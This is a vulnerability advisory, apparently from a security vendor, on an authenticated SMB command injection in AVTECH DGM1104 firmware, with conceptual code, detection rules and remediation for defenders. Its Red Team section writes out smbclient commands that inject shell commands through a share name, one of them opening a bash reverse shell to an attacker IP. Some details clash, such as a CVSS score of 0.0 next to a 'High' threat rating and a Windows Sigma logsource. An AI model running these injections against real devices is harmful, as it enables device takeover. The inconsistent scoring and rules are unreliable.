CVE-2025-57201

Executive Summary

CVE-2025-57201 is an authenticated command injection vulnerability in the SMB server function of AVTECH Security Corporation’s DGM1104 device (firmware version FullImg-1015-1004-1006-1003). An attacker with valid credentials can inject arbitrary operating system commands through crafted input to the SMB server, leading to full device compromise. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant for exposed devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network (adjacent or local network)
• Attack Complexity: Low
• Privileges Required: Low (authenticated)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: High – authenticated command injection can lead to full device takeover, lateral movement, and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the SMB server function of the AVTECH DGM1104 firmware. The SMB server processes user-supplied input (e.g., share names, usernames, or file paths) without proper sanitization. When an authenticated user sends a crafted request containing shell metacharacters (e.g., ;, |, &, $()), the input is concatenated into a system command executed by the underlying operating system. This allows an attacker to inject arbitrary commands with the privileges of the SMB server process (typically root or system).

The attack flow:

1. Attacker authenticates to the SMB server (e.g., using default or stolen credentials).
2. Attacker sends a specially crafted SMB request (e.g., a malformed share name or path) containing command injection payloads.
3. The vulnerable code passes the input directly to a shell command (e.g., system(), exec(), or popen()).
4. The injected command executes, allowing the attacker to read/write files, spawn reverse shells, or install malware.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void smb_handle_request(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "smb_command %s", user_input);
    system(cmd);  // Unsafe: user_input can contain shell metacharacters
}

Patched Code (Conceptual):

void smb_handle_request(char *user_input) {
    // Sanitize input: remove shell metacharacters
    char *sanitized = sanitize_input(user_input);
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "smb_command %s", sanitized);
    system(cmd);  // Still risky; better to use execve with arguments
}

Key Difference: The patched version sanitizes input to remove dangerous characters. However, the ideal fix would avoid shell invocation entirely and use execve() with a fixed argument list.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: AVTECH DGM1104 with firmware FullImg-1015-1004-1006-1003
• Attacker: Kali Linux with smbclient and impacket tools
• Network: Same subnet (SMB typically requires local network access)

Exploitation Steps:

1. Authenticate to the SMB server:

   smbclient -L //192.168.1.100 -U admin%password
   

2. Attempt command injection via share name or path:

   smbclient //192.168.1.100/';id > /tmp/out;' -U admin%password
   

3. If successful, execute a reverse shell:

   smbclient //192.168.1.100/';bash -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1";' -U admin%password
   

Note: No public exploit code is available; this is a conceptual approach.

Blue Team

Detection:

• Monitor SMB logs for unusual share names or paths containing shell metacharacters (;, |, &, $, `).
• Alert on SMB authentication followed by anomalous command execution (e.g., id, whoami, curl to external IPs).
• Use network monitoring to detect outbound reverse shell traffic from the device.

Hunting:

• Search for SMB requests with non-printable characters or long strings in share names.
• Correlate SMB authentication events with subsequent process creation events (if endpoint logs are available).

Indicators of Compromise (IOCs)

• Network: SMB requests containing shell metacharacters in share names or paths.
• File System: Unexpected files in /tmp/ or /var/tmp/ (e.g., /tmp/out, /tmp/revshell).
• Process: Unusual processes spawned by the SMB server (e.g., bash, nc, python).
• Logs: SMB server logs showing failed or unusual share access attempts.
• Outbound Connections: Connections from the device to external IPs on high ports (e.g., 4444, 1337).

Detection Engineering

YARA Rule

rule CVE_2025_57201_SMB_CommandInjection {
    meta:
        description = "Detects SMB command injection attempts targeting AVTECH DGM1104"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57201"
    strings:
        $cmd1 = /[;|&`$()]/
        $cmd2 = /(id|whoami|cat|bash|nc|python|perl|curl|wget)/
    condition:
        $cmd1 and $cmd2
}

Sigma Rule

title: SMB Command Injection Attempt - CVE-2025-57201
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SMB requests with shell metacharacters targeting AVTECH DGM1104
author: Valters IT
logsource:
    product: windows
    service: smb
detection:
    selection:
        EventID: 5140  # SMB share access
        ShareName|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in share names (rare)
level: high

Suricata Rule

alert smb any any -> any 445 (msg:"CVE-2025-57201 SMB Command Injection Attempt"; content:"|5c 2f 3b|"; offset:0; depth:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable SMB server on the device if not required. Restrict network access to the device using firewall rules (allow only trusted IPs).
• Short-term: Apply vendor patch when available. Monitor vendor advisories for updates.
• Long-term: Replace the device with a supported alternative if no patch is released. Implement input validation and avoid shell execution in firmware development.
• Compensating Controls: Use network segmentation to isolate IoT/surveillance devices. Deploy an IPS/IDS with custom rules to detect SMB command injection attempts.

Valters IT
Securing Digital Frontiers